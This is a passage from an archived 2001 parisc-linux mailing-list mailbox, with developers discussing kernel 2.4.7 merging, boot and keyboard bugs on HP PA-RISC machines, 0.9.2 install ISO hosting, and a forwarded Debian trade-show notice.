  by mail.gmx.net (mail01) with SMTP; 20 Jul 2001 18:33:45 -0000
X-Mailer: KMail [version 1.2.9]
In-Reply-To: <200107201759.LAA27765@puffin.external.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11706

On Friday 20 July 2001 19:59, you wrote:
> =?iso-8859-1?Q?R=FCdiger?= Scholz wrote:
> > a.c from "build-tools" says " 0x1010d5ac outb+2c" and "0x1010d5b0 outb+30
> ....
> Seems removing the offending driver from the .config should solve
> the problem for now.  The right fix is to modify the driver so it
> doesn't poke IO port space unless it's clear the device lives under
> a suppported bus.

I think the default defconfig should work on your machine and has all necessary and
currently working drivers enabled. Remove your .config, do a "make oldconfig" and 
build a new kernel from this configuration.

Greetings,
Helge





From - Thu Nov 08 21:18:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.7
Date: Mon, 23 Jul 2001 17:20:16 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20010723172016.D9408@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620329 22676 80.91.229.3 (22 Nov 2014 01:38:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:49 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 23 10:20:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 821AA482A
	for <parisc-linux@parisc-linux.org>; Mon, 23 Jul 2001 10:20:18 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15OiRM-0000ss-00
	for parisc-linux@parisc-linux.org; Mon, 23 Jul 2001 17:20:16 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11707

how do people feel about merging 2.4.7 into our HEAD?  it seems to have
some interesting bugs fixed, and it might make merging with Alan easier.

Or shall we let some more of the dust settle from the 2.4.6 merge before
doing this?  AIUI, J200 (and similar class) machines are currently not
working, and there are issues with keyboards.  Anything else?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.7
Date: Mon, 23 Jul 2001 09:32:47 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20010723093247.X3441@tausq.org>
References: <20010723172016.D9408@parcelfarce.linux.theplanet.co.uk>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620329 22679 80.91.229.3 (22 Nov 2014 01:38:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:49 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 23 10:33:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 212B4482A
	for <parisc-linux@parisc-linux.org>; Mon, 23 Jul 2001 10:33:45 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 6.03.0009/NU8172.00.4d3e3a24) with ESMTP id fjttgaaa for parisc-linux@parisc-linux.org; Mon, 23 Jul 2001 09:30:12 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15OidT-0005ee-00; Mon, 23 Jul 2001 09:32:47 -0700
Content-Disposition: inline
In-Reply-To: <20010723172016.D9408@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.18i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: Randolph Chung <randolph@tausq.org>
Xref: news.gmane.org gmane.linux.ports.parisc:11708

> how do people feel about merging 2.4.7 into our HEAD?  it seems to have
> some interesting bugs fixed, and it might make merging with Alan easier.
> 
> Or shall we let some more of the dust settle from the 2.4.6 merge before
> doing this?  AIUI, J200 (and similar class) machines are currently not
> working, and there are issues with keyboards.  Anything else?

I've seen some weird failures after upgrading to 2.4.6:

1. ssh'ing into the box fails randomly with SIGPIPE. scp almost always
fails

2. ldd on any dynamically linked binary gives ld.so assertion errors

I haven't investigated this a whole lot, and it certainly doesn't seem
to affect everyone... 

randolph
-- 
Debian Developer <tausq@debian.org>
http://www.TauSq.org/




From - Thu Nov 08 21:18:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <laughing@shared-source.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.7
Date: Mon, 23 Jul 2001 18:25:05 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20010723182505.A27310@lightning.swansea.linux.org.uk>
References: <20010723172016.D9408@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620329 22684 80.91.229.3 (22 Nov 2014 01:38:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:49 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 23 11:24:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id B0EAD482A
	for <parisc-linux@parisc-linux.org>; Mon, 23 Jul 2001 11:24:18 -0600 (MDT)
Original-Received: from alan by the-village.bc.nu with local (Exim 3.22 #1)
	id 15OjS5-00077Y-00; Mon, 23 Jul 2001 18:25:05 +0100
Mail-Followup-To: Alan Cox <laughing@shared-source.org>,
	Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010723172016.D9408@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Mon, Jul 23, 2001 at 05:20:16PM +0100
Original-Sender: Alan Cox <alan@lxorguk.ukuu.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11709

I'd wait a bit on the 2.4.7 front, judging by the number of completion change
bugs left in the tree. Maybe merge 2.4.7 after a few patches pop out 8)

-- 
Alan Cox,			|    And the men we couldn't tame
Red Hat Inc			|    We drove them into the west
				|    Their songs and their stories still remain
http://www.redhat.com		 \   What became of all I left ?
					-- Show Of Hands




From - Thu Nov 08 21:18:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb+hplinux@zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/100 with 0.92 not booting :(
Date: Mon, 23 Jul 2001 22:59:49 +0200 (CEST)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.30.0107232255200.822-100000@noc.zabbadoz.net>
References: <20010720192900.K22691@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620330 22687 80.91.229.3 (22 Nov 2014 01:38:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:50 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 23 15:00:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zabbadoz.net (mail.zabbadoz.net [195.2.176.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 81AC4482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Jul 2001 15:00:06 -0600 (MDT)
Original-Received: from localhost (bz@localhost)
	by mail.zabbadoz.net (8.11.0/8.11.0) with ESMTP id f6NKxo603272;
	Mon, 23 Jul 2001 22:59:50 +0200 (CEST)
X-Sender: <bz@noc.zabbadoz.net>
In-Reply-To: <20010720192900.K22691@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11710

On Fri, 20 Jul 2001, Matthew Wilcox wrote:

Hi,

> On Fri, Jul 20, 2001 at 08:18:36PM +0200, Bjoern A. Zeeb wrote:
> > PS: it's a bit confusing with those different iso images on different
> > "mirrors" with different versionizing :(
>
> That's why 0.9.2 was released after we had 3 different versions of 0.9.1,
> each with different bugs.

Great, got it - but why isn't this announced on parisc-linux.org ?
Putting .iso images or at least links to wouldn't be that bad on the
master site but no only on one mirror.


> I don't know what your problem is until I see the System.map which
> the 0.9.2 cd shipped with.  Does anyone have this?

Anything new about this ?

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/





From - Thu Nov 08 21:18:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Update debian-configs for 2.4.6
Date: Mon, 23 Jul 2001 22:22:35 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20010723222235.E4597@linuxcare.com>
References: <200107232044.OAA23340@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620330 22690 80.91.229.3 (22 Nov 2014 01:38:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:50 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 23 15:21:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id C543E482A; Mon, 23 Jul 2001 15:21:04 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 6540EB00C; Mon, 23 Jul 2001 22:22:35 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <200107232044.OAA23340@puffin.external.hp.com>; from rhirst@puffin.external.hp.com on Mon, Jul 23, 2001 at 02:44:51PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:11711

I turned off aic7xxx for 64 bit, as it wanted endian.h which wasn't
available.  Have built kernel images, and then built boot-floppies
with them.

B180 graphical test:

  Keyboard was dead on boot, unplug/replug didn't help

B180 serial console test:

  Keyboard was dead after reboot in to second stage install

A500 serial console test:

  Keyboard was dead after reboot in to second stage install

Richard





From - Thu Nov 08 21:18:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.7
Date: Mon, 23 Jul 2001 22:47:51 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <200107240447.WAA24360@puffin.external.hp.com>
References: <willy@debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620330 22695 80.91.229.3 (22 Nov 2014 01:38:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:50 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 23 22:49:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5820C482A
	for <parisc-linux@parisc-linux.org>; Mon, 23 Jul 2001 22:49:00 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id WAA24360;
	Mon, 23 Jul 2001 22:47:51 -0600
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Mon, 23 Jul 2001 17:20:16 BST." <20010723172016.D9408@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:11712

Matthew Wilcox wrote:
> 
> how do people feel about merging 2.4.7 into our HEAD?  it seems to have
> some interesting bugs fixed, and it might make merging with Alan easier.

For me, merging with Alan is more important than the bug fixes.
I think we should track the releases as closely as we can until
Alan/Linus can build a usable parisc kernel from their tree.

BTW, I looked in 2.4.7 already and it doesn't have the changes
whic Ivan K and I worked out. I guess .7 got released before Ivan
had the other arches done (besides alhpa/parisc).

On a related note, I'd like to get ESIEE's 0.92 ISOs available
on parisc-linux.org website. mkhppa1.esiee.fr website been blocked by
their local admin or something. I was going to add a link on
parisc-linux but won't until I can reach it.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.7
Date: Mon, 23 Jul 2001 22:52:15 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <200107240452.WAA24386@puffin.external.hp.com>
References: <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620331 22698 80.91.229.3 (22 Nov 2014 01:38:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 23 22:53:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id B4118482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Jul 2001 22:53:21 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id WAA24386;
	Mon, 23 Jul 2001 22:52:15 -0600
In-Reply-To: Message from Randolph Chung <tausq@debian.org> 
   of "Mon, 23 Jul 2001 09:32:47 PDT." <20010723093247.X3441@tausq.org> 
Xref: news.gmane.org gmane.linux.ports.parisc:11713

Randolph Chung wrote:
> > how do people feel about merging 2.4.7 into our HEAD?  it seems to have
> > some interesting bugs fixed, and it might make merging with Alan easier.
...
> I've seen some weird failures after upgrading to 2.4.6:


Oh! I forgot to mention the the problem with GR03 getting
trashed when attempting to use pppd. I had posted earlier:
  http://lists.parisc-linux.org/pipermail/parisc-linux/2001-July/013176.html

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/100 with 0.92 not booting :(
Date: Mon, 23 Jul 2001 23:08:36 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <200107240508.XAA24422@puffin.external.hp.com>
References: <bzeeb+hplinux@zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620331 22700 80.91.229.3 (22 Nov 2014 01:38:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Bjoern A. Zeeb" <bzeeb+hplinux@zabbadoz.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 23 23:09:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id A02C8482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Jul 2001 23:09:47 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id XAA24422;
	Mon, 23 Jul 2001 23:08:36 -0600
In-Reply-To: Message from "Bjoern A. Zeeb" <bzeeb+hplinux@zabbadoz.net> 
   of "Mon, 23 Jul 2001 22:59:49 +0200." <Pine.BSF.4.30.0107232255200.822-100000@noc.zabbadoz.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:11714

"Bjoern A. Zeeb" wrote:
...
> > That's why 0.9.2 was released after we had 3 different versions of 0.9.1,
> > each with different bugs.
> 
> Great, got it - but why isn't this announced on parisc-linux.org ?
> Putting .iso images or at least links to wouldn't be that bad on the
> master site but no only on one mirror.

I wanted to fix that. But the ESIEE website (mkhppa1.esiee.fr)
hasn't been accessible the past couple of days. We need to work something
out with them so the bits are available directly from www.parisc-linux.org.

Oh - and the ESIEE team does have access to parisc-linux website.
They just may not know it yet. ;^)

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: 0.9.2 isos (was Re: [parisc-linux] 715/100 with 0.92 not booting :( )
Date: Mon, 23 Jul 2001 23:58:05 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <20010724055805.B44CF37CD9@carmen.fc.hp.com>
References: <200107240508.XAA24422@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620331 22704 80.91.229.3 (22 Nov 2014 01:38:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:51 +0000 (UTC)
Cc: "Bjoern A. Zeeb" <bzeeb+hplinux@zabbadoz.net>,
	parisc-linux@lists.parisc-linux.org, taggart@carmen.fc.hp.com
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 23 23:58:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8D959482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Jul 2001 23:58:06 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel6.hp.com (Postfix) with ESMTP
	id 28E2E1F59B; Tue, 24 Jul 2001 01:58:06 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id B44CF37CD9; Mon, 23 Jul 2001 23:58:05 -0600 (MDT)
In-Reply-To: Your message of "Mon, 23 Jul 2001 23:08:36 MDT."
             <200107240508.XAA24422@puffin.external.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11715

Grant Grundler writes...

> "Bjoern A. Zeeb" wrote:
> ...
> > > That's why 0.9.2 was released after we had 3 different versions of 0.9.1,
> > > each with different bugs.
> > 
> > Great, got it - but why isn't this announced on parisc-linux.org ?
> > Putting .iso images or at least links to wouldn't be that bad on the
> > master site but no only on one mirror.
> 
> I wanted to fix that. But the ESIEE website (mkhppa1.esiee.fr)
> hasn't been accessible the past couple of days. We need to work something
> out with them so the bits are available directly from www.parisc-linux.org.

BTW- The isos have been available since July 10th at,

ftp://puffin.external.hp.com/pub/parisc/cd-images/

It's just the website that needs updating.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation




From - Thu Nov 08 21:18:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FWD: LWE SF
Date: Tue, 24 Jul 2001 14:18:48 -0700
Lines: 66
Approved: news@gmane.org
Message-ID: <20010724141848.Y3441@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620332 22708 80.91.229.3 (22 Nov 2014 01:38:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 24 15:19:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9399A482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Jul 2001 15:19:46 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 6.03.0009/NU8172.00.4d3e3a24) with ESMTP id hzlvgaaa for parisc-linux@lists.parisc-linux.org; Tue, 24 Jul 2001 14:16:06 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15P9Zo-0007FW-00; Tue, 24 Jul 2001 14:18:48 -0700
Content-Disposition: inline
User-Agent: Mutt/1.3.18i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:11716

I was asked to forward this to the list FYI:

Debian booth info at LWCE at end of August in SF. -randolph

----- Forwarded message from Sean 'Shaleh' Perry <shaleh@valinux.com> -----

From: "Sean 'Shaleh' Perry" <shaleh@valinux.com>
To: bad@bad.debian.net
Subject: LWE SF
Date: Tue, 24 Jul 2001 14:07:39 -0700

One month and counting boys and girls.

We are once again not listed in the .org pavillion manifest (-:  I am
looking into this and expect it to be fixed by week's end.

There are two Debian talks scheduled.  Both on the Sys Admin track.  I
have one Tues. 28th at 3:30pm "Debian for the curious" where I talk
about Debian sysadmin tasks.  Wichert has one Wed. 29th at 1pm talking
about making Debian LSB complient.  A BOF would be nice, someone please
organize this.

I am having T-shirts made once again.  Ther ewill be:

200 XL
 20  L
 20  M
 20 2X
 20 3X

and due to many requests --- ladies sizes!

  5 S
 10 M
  6 L
  4 Xl

Total of 305.

The ladies will be just the swirl, the mens shirts are the standard
debian/rules shirts.  This year the shirts are black with all red text.

Prices will be $10 for the standard shirts, $15 for the 2X, 3X and
ladies sizes.  Sorry ladies but the shirts cost me just as much as the
3X's.

Booth workers and card carrying debian developers can get shirts for $7
or $10 (depending on the shirt) -- please only one shirt at the discount
rate.

That about sums things up for now.
_______________________________________________
Bay Area Debian mailing list
Bad@bad.debian.net
http://bad.debian.net/cgi-bin/mailman/listinfo/bad

----- End forwarded message -----

-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:18:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/33 disk and kernel make dep problems
Date: Wed, 25 Jul 2001 16:26:52 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20010725162652.B1252@linuxcare.com>
References: <99F41EF55D11D511818600D0B74749C496F41D@wchrntms01.uk.wmmercer.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620332 22710 80.91.229.3 (22 Nov 2014 01:38:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:52 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "Scammell, David" <David.Scammell@uk.wmmercer.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 25 09:25:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (ottawa.linuxcare.com [216.208.98.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id D6BF1482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Jul 2001 09:25:11 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 4FCF7B00C; Wed, 25 Jul 2001 16:26:52 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <99F41EF55D11D511818600D0B74749C496F41D@wchrntms01.uk.wmmercer.com>; from David.Scammell@uk.wmmercer.com on Thu, Jul 19, 2001 at 03:22:18PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:11717

On Thu, Jul 19, 2001 at 03:22:18PM +0100, Scammell, David wrote:
> 
> Hi,
> 
> I installed with 9.2, no problems, updated with apt-get.
> 
> I'd like to build my own kernel to test out a disk problem I have.
> 
> When I attempt anything which would fill the scsi disk queue with pending
> writes
> (e.g. tar xf kernel.tar), then machine hangs, I get some messages on the
> serial
> console which I've not got them written down yet, but these include a mount
> read
> only message. I'm using an old 2Gb disk (info not to hand, I'm at work), but
> no so
> old it shouldn't handle tagged writes. I'd like to change the queue depth
> and bus
> sync speed (looks like its set at 20Mhz, not 10Mhz) to see if this makes a
> difference.

Could you try with disconnect/reselect turned off?  Should be able
to do that by booting with "sim700=nodisc:0xff".

Richard





From - Thu Nov 08 21:18:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/100 with 0.92 not booting :(
Date: Wed, 25 Jul 2001 16:52:03 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20010725165203.C1252@linuxcare.com>
References: <Pine.BSF.4.30.0107202011550.822-100000@noc.zabbadoz.net> <20010720192900.K22691@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620332 22713 80.91.229.3 (22 Nov 2014 01:38:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:52 +0000 (UTC)
Cc: "Bjoern A. Zeeb" <bzeeb+hplinux@zabbadoz.net>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 25 09:50:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (ottawa.linuxcare.com [216.208.98.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id B6076482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Jul 2001 09:50:22 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
